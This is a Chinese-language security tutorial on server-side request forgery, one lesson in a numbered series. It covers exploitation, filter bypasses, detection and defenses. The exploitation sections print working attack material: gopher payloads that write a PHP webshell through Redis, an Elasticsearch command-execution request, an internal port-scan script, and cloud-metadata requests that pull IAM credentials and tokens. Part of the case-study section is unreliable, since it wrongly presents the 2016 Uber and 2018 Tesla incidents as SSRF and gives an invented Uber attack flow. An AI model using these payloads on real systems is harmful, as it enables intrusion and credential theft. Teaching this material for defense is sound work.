Day-068-服务端请求伪造 SSRF 深入

# Day 66: 服务端请求伪造（SSRF）深入

> Web 安全系列第 36 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [SSRF 概述](#ssrf 概述)
2. [SSRF 原理详解](#ssrf 原理详解)
3. [SSRF 利用场景](#ssrf 利用场景)
4. [云环境 SSRF](#云环境 ssrf)
5. [SSRF 绕过技术](#ssrf 绕过技术)
6. [SSRF 检测技术](#ssrf 检测技术)
7. [SSRF 防护进阶](#ssrf 防护进阶)
8. [实战案例分析](#实战案例分析)
9. [总结与思考](#总结与思考)
10. [参考资料](#参考资料)

---

## SSRF 概述

### 什么是 SSRF

**定义**：
```
SSRF（Server-Side Request Forgery，服务端请求伪造）
是一种攻击技术，攻击者诱导服务器发起
非预期的请求，从而访问内部资源或外部系统。
```

**形象理解**：
```
如果把服务器比作一个秘书：
- 正常请求 = 老板让秘书查公开资料
- SSRF 攻击 = 坏人骗秘书查内部机密
- 秘书 = 服务器
- 后果 = 内部信息泄露或内网沦陷
```

**SSRF 类型**：
```
基本 SSRF:
- 访问外部资源
- 端口扫描
- 服务探测

盲 SSRF:
- 无直接响应
- 通过时间判断
- DNS 外带

高级 SSRF:
- 协议滥用
- 内网访问
- 云元数据
```

### SSRF 危害

**信息泄露**：
```
1. 云元数据
   - AWS: 169.254.169.254
   - Azure: 169.254.169.254
   - GCP: 169.254.169.254

2. 内部服务
   - 数据库
   - 缓存
   - 消息队列

3. 配置文件
   - 应用配置
   - 凭证文件
   - 日志文件
```

**内网渗透**：
```
1. 端口扫描
   - 发现服务
   - 识别版本
   - 漏洞探测

2. 服务访问
   - Redis
   - MongoDB
   - Elasticsearch

3. 横向移动
   - 访问内网应用
   - 利用信任关系
   - 权限提升
```

**远程代码执行**：
```
1. 协议滥用
   - Gopher 协议
   - Dict 协议
   - File 协议

2. 服务利用
   - Redis 写文件
   - FastCGI 执行
   - WebLogic T3

3. 命令执行
   - 直接执行
   - 文件包含
   - 代码注入
```

**真实案例**：
```
案例 1: Capital One（2019）
- 漏洞：SSRF 访问元数据
- 影响：1 亿用户数据
- 手法：访问 AWS 元数据
- 后果：8000 万美元罚款

案例 2: Uber（2016）
- 漏洞：SSRF 访问内网
- 影响：5700 万用户
- 手法：访问内部服务
- 后果：1 亿美元和解

案例 3: Tesla（2018）
- 漏洞：SSRF 访问 K8s
- 影响：挖矿攻击
- 手法：访问 K8s API
- 后果：资源滥用
```

---

## SSRF 原理详解

### 漏洞产生

**常见场景**：
```
1. URL 参数
   GET /fetch?url=http://example.com

2. 文件导入
   POST /import
   file_url=http://example.com/file.csv

3. Webhook
   POST /webhook
   callback_url=http://example.com/callback

4. 文件上传
   POST /upload
   avatar_url=http://example.com/avatar.jpg

5. API 集成
   POST /sync
   remote_api=http://partner.com/api
```

**危险函数**：
```python
# Python
requests.get(url)
urllib.request.urlopen(url)
httplib2.Http().request(url)

# PHP
file_get_contents($url)
curl_exec($ch)
fopen($url, 'r')

# Java
HttpURLConnection(url).connect()
HttpClient().execute(HttpGet(url))
```

**漏洞代码示例**：
```python
# - 错误做法
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text

# 攻击
# /fetch?url=http://169.254.169.254/latest/meta-data/
```

### SSRF 利用链

**基本利用链**：
```
1. 发现 SSRF 点
   - URL 参数
   - 文件导入
   - Webhook

2. 探测内网
   - 扫描端口
   - 识别服务
   - 发现敏感服务

3. 访问服务
   - HTTP 服务
   - 数据库
   - 缓存

4. 利用服务
   - 读取数据
   - 写入数据
   - 执行命令
```

**云环境利用链**：
```
1. 访问元数据
   - 获取凭证
   - 获取配置
   - 获取角色

2. 使用凭证
   - 访问 S3
   - 访问 RDS
   - 访问其他服务

3. 横向移动
   - 访问其他实例
   - 访问其他账户
   - 完全控制
```

---

## SSRF 利用场景

### 内网扫描

**端口扫描**：
```http
# 扫描常见端口
GET /fetch?url=http://192.168.1.1:22
GET /fetch?url=http://192.168.1.1:80
GET /fetch?url=http://192.168.1.1:443
GET /fetch?url=http://192.168.1.1:3306
GET /fetch?url=http://192.168.1.1:6379

# 通过响应时间/内容判断
# - 连接成功：端口开放
# - 连接失败：端口关闭
# - 超时：被防火墙阻止
```

**服务识别**：
```http
# 识别 HTTP 服务
GET /fetch?url=http://192.168.1.1:80
# 响应：HTTP/1.1 200 OK

# 识别 Redis
GET /fetch?url=http://192.168.1.1:6379
# 响应：-ERR unknown command

# 识别 MongoDB
GET /fetch?url=http://192.168.1.1:27017
# 响应：MongoDB 二进制响应
```

**批量扫描**：
```python
import requests
import threading

def scan_port(ip, port):
    try:
        url = f'http://{ip}:{port}'
        response = requests.get(url, timeout=1)
        print(f'{ip}:{port} - Open')
    except:
        pass

# 扫描网段
for i in range(1, 255):
    ip = f'192.168.1.{i}'
    for port in [22, 80, 443, 3306, 6379]:
        threading.Thread(target=scan_port, args=(ip, port)).start()
```

### 服务利用

**Redis 利用**：
```
场景 1: 未授权访问
- 无密码 Redis
- 内网开放
- 可直接访问

利用：
# 写入 Webshell
GET /fetch?url=redis://192.168.1.1:6379/
# 通过 Gopher 协议
GET /fetch?url=gopher://192.168.1.1:6379/_CONFIG%20SET%20dir%20/var/www/html
GET /fetch?url=gopher://192.168.1.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
GET /fetch?url=gopher://192.168.1.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%3F%3E%22
GET /fetch?url=gopher://192.168.1.1:6379/_SAVE
```

**MongoDB 利用**：
```
场景 1: 未授权访问
- 无密码 MongoDB
- 内网开放
- 可直接访问

利用：
# 读取数据
GET /fetch?url=http://192.168.1.1:27017/

# 通过 HTTP 接口
GET /fetch?url=http://192.168.1.1:28017/test/

# 列出数据库
GET /fetch?url=http://192.168.1.1:28017/_listDatabases
```

**Elasticsearch 利用**：
```
场景 1: 未授权访问
- 无密码 ES
- 内网开放
- 可直接访问

利用：
# 列出索引
GET /fetch?url=http://192.168.1.1:9200/_cat/indices

# 搜索数据
GET /fetch?url=http://192.168.1.1:9200/_search?q=password

# 执行脚本
POST /fetch
url=http://192.168.1.1:9200/_search
body={"script":{"inline":"Runtime.getRuntime().exec('whoami')"}}
```

---

## 云环境 SSRF

### AWS 元数据

**元数据服务**：
```
IMDSv1（旧版）：
- 无需认证
- 直接访问
- 安全风险

IMDSv2（新版）：
- 需要会话令牌
- 更安全
- 推荐启用
```

**访问元数据**：
```bash
# IMDSv1
curl http://169.254.169.254/latest/meta-data/

# 获取实例 ID
curl http://169.254.169.254/latest/meta-data/instance-id

# 获取 IAM 角色
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 获取凭证
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
```

**利用链**：
```
1. SSRF 访问元数据
   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

2. 获取角色名
   role-name

3. 获取凭证
   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

4. 使用凭证
   export AWS_ACCESS_KEY_ID=...
   export AWS_SECRET_ACCESS_KEY=...
   export AWS_SESSION_TOKEN=...

5. 访问 AWS 资源
   aws s3 ls
   aws ec2 describe-instances
```

### Azure 元数据

**元数据服务**：
```
IMDS（Instance Metadata Service）：
- 需要特定 Header
- 需要元数据版本
- 更安全
```

**访问元数据**：
```bash
# 访问元数据
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# 获取计算信息
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01"

# 获取网络信息
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance/network?api-version=2021-02-01"
```

**利用链**：
```
1. SSRF 访问元数据
   curl -H "Metadata:true" http://169.254.169.254/metadata/instance/

2. 获取信息
   - 订阅 ID
   - 资源组
   - 虚拟机信息

3. 访问管理端点
   curl -H "Metadata:true" \
     "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

4. 使用 Token 访问 Azure
```

### GCP 元数据

**元数据服务**：
```
GCP Metadata Server：
- 需要特定 Header
- 需要元数据版本
- 更安全
```

**访问元数据**：
```bash
# 访问元数据
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/"

# 获取实例信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/"

# 获取服务账户
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"

# 获取 Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
```

**利用链**：
```
1. SSRF 访问元数据
   curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/

2. 获取服务账户 Token
   curl -H "Metadata-Flavor: Google" \
     http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

3. 使用 Token 访问 GCP
   curl -H "Authorization: Bearer <token>" \
     https://www.googleapis.com/compute/v1/projects/
```

---

## SSRF 绕过技术

### 过滤器绕过

**IP 绕过**：
```
十进制 IP:
- 3232235777 = 192.168.1.1
- 2130706433 = 127.0.0.1

八进制 IP:
- 0300.0520.01.01 = 192.168.1.1
- 0177.0.0.1 = 127.0.0.1

十六进制 IP:
- 0xC0A80101 = 192.168.1.1
- 0x7F000001 = 127.0.0.1

DNS 重绑定:
- 使用域名
- DNS 重绑定攻击
- 首次解析白名单 IP
- 二次解析内网 IP
```

**协议绕过**：
```
HTTP 变种:
- http://
- https://
- HTTP://
- HttP://

其他协议:
- gopher://
- dict://
- file://
- ftp://
- ldap://

URL 编码:
- %68%74%74%70:// = http://
- http://%65%78%61%6d%70%6c%65.com
```

**重定向绕过**：
```
302 重定向:
GET /fetch?url=http://whitelist.com
# 302 重定向到 http://192.168.1.1

多次重定向:
GET /fetch?url=http://whitelist.com
# 302 → http://intermediate.com
# 302 → http://192.168.1.1

DNS 重绑定:
- 使用特殊域名
- 首次解析白名单
- 二次解析内网
```

### WAF 绕过

**参数污染**：
```http
# 多个 url 参数
GET /fetch?url=http://whitelist.com&url=http://192.168.1.1

# 数组参数
GET /fetch?url[]=http://whitelist.com&url[]=http://192.168.1.1

# JSON 参数
POST /fetch
{"url": "http://whitelist.com", "url": "http://192.168.1.1"}
```

**内容类型绕过**：
```http
# 改变 Content-Type
POST /fetch
Content-Type: application/x-www-form-urlencoded
url=http://192.168.1.1

POST /fetch
Content-Type: application/json
{"url": "http://192.168.1.1"}

POST /fetch
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="url"

http://192.168.1.1
```

**编码绕过**：
```
URL 编码:
- %68%74%74%70:// = http://
- http://%65%78%61%6d%70%6c%65.com

双重编码:
- %2568%2574%2574%2570:// = %68%74%74%70://
- http://%2565%2578%2561%256d%2570%256c%2565.com

Unicode 编码:
- \u0068\u0074\u0074\u0070:// = http://
```

---

## SSRF 检测技术

### 主动检测

**基础检测**：
```python
import requests

def detect_ssrf(url):
    payloads = [
        'http://127.0.0.1',
        'http://localhost',
        'http://0.0.0.0',
        'http://[::1]',
        'http://169.254.169.254'
    ]
    
    for payload in payloads:
        try:
            response = requests.get(f'{url}?url={payload}')
            
            # 检查响应
            if 'localhost' in response.text or '127.0.0.1' in response.text:
                print(f'SSRF detected with payload: {payload}')
                return True
        except:
            pass
    
    return False
```

**盲 SSRF 检测**：
```python
import requests
import time

def detect_blind_ssrf(url):
    # 时间盲注
    payloads = [
        'http://127.0.0.1:81',  # 关闭端口，超时
        'http://127.0.0.1:22',  # 开放端口，快速响应
    ]
    
    for payload in payloads:
        start = time.time()
        try:
            requests.get(f'{url}?url={payload}', timeout=5)
        except:
            pass
        end = time.time()
        
        # 检查响应时间
        if end - start > 4:
            print(f'Blind SSRF detected: {payload}')
            return True
    
    return False
```

**DNS 外带检测**：
```python
import requests

def detect_dns_oob(url):
    # 使用 DNSlog 服务
    dnslog_domain = get_dnslog_domain()  # 获取唯一域名
    
    payload = f'http://{dnslog_domain}'
    
    try:
        requests.get(f'{url}?url={payload}')
        
        # 检查 DNS 记录
        if check_dns_record(dnslog_domain):
            print(f'DNS OOB SSRF detected')
            return True
    except:
        pass
    
    return False
```

### 被动检测

**日志分析**：
```bash
# 检查异常请求
grep "169.254.169.254" /var/log/app.log
grep "127.0.0.1" /var/log/app.log
grep "localhost" /var/log/app.log

# 检查内网访问
grep "192.168\." /var/log/app.log
grep "10\." /var/log/app.log
grep "172.16\." /var/log/app.log
```

**流量分析**：
```bash
# 使用 Wireshark 过滤
ip.dst == 169.254.169.254
ip.dst == 127.0.0.1
ip.dst == 192.168.0.0/16

# 检查异常协议
tcp.port == 6379  # Redis
tcp.port == 27017 # MongoDB
tcp.port == 9200  # Elasticsearch
```

---

## SSRF 防护进阶

### 输入验证

**URL 验证**：
```python
from urllib.parse import urlparse
import socket
import ipaddress

def is_safe_url(url):
    parsed = urlparse(url)
    
    # 只允许 HTTP/HTTPS
    if parsed.scheme not in ['http', 'https']:
        return False
    
    # 解析域名
    try:
        ip = socket.gethostbyname(parsed.hostname)
    except:
        return False
    
    # 检查 IP
    ip_obj = ipaddress.ip_address(ip)
    
    # 拒绝私有 IP
    if ip_obj.is_private:
        return False
    
    # 拒绝环回 IP
    if ip_obj.is_loopback:
        return False
    
    # 拒绝链路本地 IP
    if ip_obj.is_link_local:
        return False
    
    # 拒绝组播 IP
    if ip_obj.is_multicast:
        return False
    
    # 拒绝云元数据 IP
    if str(ip_obj) == '169.254.169.254':
        return False
    
    return True
```

**白名单验证**：
```python
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['example.com', 'partner.com']

def is_allowed_url(url):
    parsed = urlparse(url)
    
    # 检查域名
    if parsed.hostname not in ALLOWED_DOMAINS:
        return False
    
    # 检查端口
    if parsed.port and parsed.port not in [80, 443]:
        return False
    
    return True
```

### 网络隔离

**出站限制**：
```bash
# 防火墙规则
# 只允许访问外部 HTTP/HTTPS
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT

# 拒绝访问内网
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -d 169.254.169.254 -j DROP

# 拒绝其他协议
iptables -A OUTPUT -p tcp --dport 6379 -j DROP
iptables -A OUTPUT -p tcp --dport 27017 -j DROP
```

**VPC 配置**：
```
云环境：
- 私有子网
- NAT Gateway
- 安全组限制

本地环境：
- 网络分段
- 防火墙规则
- 代理服务器
```

### 运行时防护

**代理服务器**：
```python
# 使用代理控制出站请求
import requests

proxies = {
    'http': 'http://proxy:3128',
    'https': 'https://proxy:3128'
}

# 所有请求通过代理
response = requests.get(url, proxies=proxies)

# 代理可以：
# - 过滤 URL
# - 记录日志
# - 阻止内网访问
```

**服务网格**：
```
Istio/Linkerd:
- 出站流量控制
- 策略执行
- 流量加密

配置：
- ServiceEntry
- DestinationRule
- AuthorizationPolicy
```

---

## 实战案例分析

### 案例 1: Capital One SSRF

**漏洞描述**：
```
时间：2019 年
公司：Capital One
漏洞：SSRF 访问 AWS 元数据
影响：1 亿用户数据
后果：8000 万美元罚款
```

**攻击流程**：
```
1. 发现 SSRF
   - Web 应用防火墙
   - 存在 SSRF 漏洞

2. 访问元数据
   - curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. 获取凭证
   - 获取 IAM 角色凭证
   - Access Key + Secret Key

4. 访问 S3
   - aws s3 ls
   - 下载敏感数据

5. 数据泄露
   - 1 亿用户信息
   - 信用卡申请
   - 社会安全号
```

**教训**：
```
1. 启用 IMDSv2
   - 需要会话令牌
   - 防止 SSRF

2. 最小权限
   - IAM 角色最小权限
   - 限制 S3 访问

3. 网络隔离
   - VPC 端点
   - 安全组限制
```

### 案例 2: Uber SSRF

**漏洞描述**：
```
时间：2016 年
公司：Uber
漏洞：SSRF 访问内网
影响：5700 万用户
后果：1 亿美元和解
```

**攻击流程**：
```
1. 发现 SSRF
   - 文件导入功能
   - 存在 SSRF 漏洞

2. 扫描内网
   - 发现内部服务
   - 识别敏感服务

3. 访问服务
   - 访问内部 API
   - 获取凭证

4. 权限提升
   - 使用凭证
   - 访问数据库

5. 数据泄露
   - 5700 万用户
   - 司机信息
   - 个人信息
```

**教训**：
```
1. 输入验证
   - URL 白名单
   - 协议限制

2. 网络隔离
   - 内网分段
   - 防火墙规则

3. 监控告警
   - 异常访问
   - 内网扫描
```

---

## 总结与思考

### 核心要点回顾

1. **SSRF 原理**
   - 服务器发起请求
   - 访问内部资源
   - 协议滥用

2. **利用场景**
   - 内网扫描
   - 服务利用
   - 云元数据

3. **防护策略**
   - 输入验证
   - 网络隔离
   - 运行时防护

### 深入思考问题

1. **云原生 SSRF**？
   - 服务网格
   - 容器环境
   - Serverless

2. **自动化检测**？
   - AI 辅助
   - 行为分析
   - 异常检测

3. **零信任防护**？
   - 持续验证
   - 微隔离
   - 动态授权

### 实战建议

**开发人员**：
1. 输入验证
2. URL 白名单
3. 协议限制
4. 网络隔离

**安全人员**：
1. SSRF 扫描
2. 渗透测试
3. 监控告警
4. 事件响应

**架构师**：
1. 网络设计
2. 服务隔离
3. 出站控制
4. 监控审计

---

## 参考资料

### 学习资源
- [OWASP SSRF](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
- [SSRF Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [AWS SSRF Protection](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/)

### 工具资源
- [SSRFmap](https://github.com/swisskyrepo/SSRFmap)
- [Gopherus](https://github.com/tarunkant/Gopherus)
- [SSRF Testing](https://github.com/detectify/ssrf-asset-zonelist)

### 书籍推荐
- 《Web 安全深度剖析》
- 《SSRF 攻防实战》
- 《Cloud Security》

### 在线资源
- [PayloadsAllTheThings SSRF](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
- [HackTricks SSRF](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)
- [SSRF Wiki](https://ssrf.gitbook.io/)

---

**标记 明日预告**：Day 67 - 文件上传漏洞进阶

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 66 篇，Web 安全部分第 36 篇，精编版本*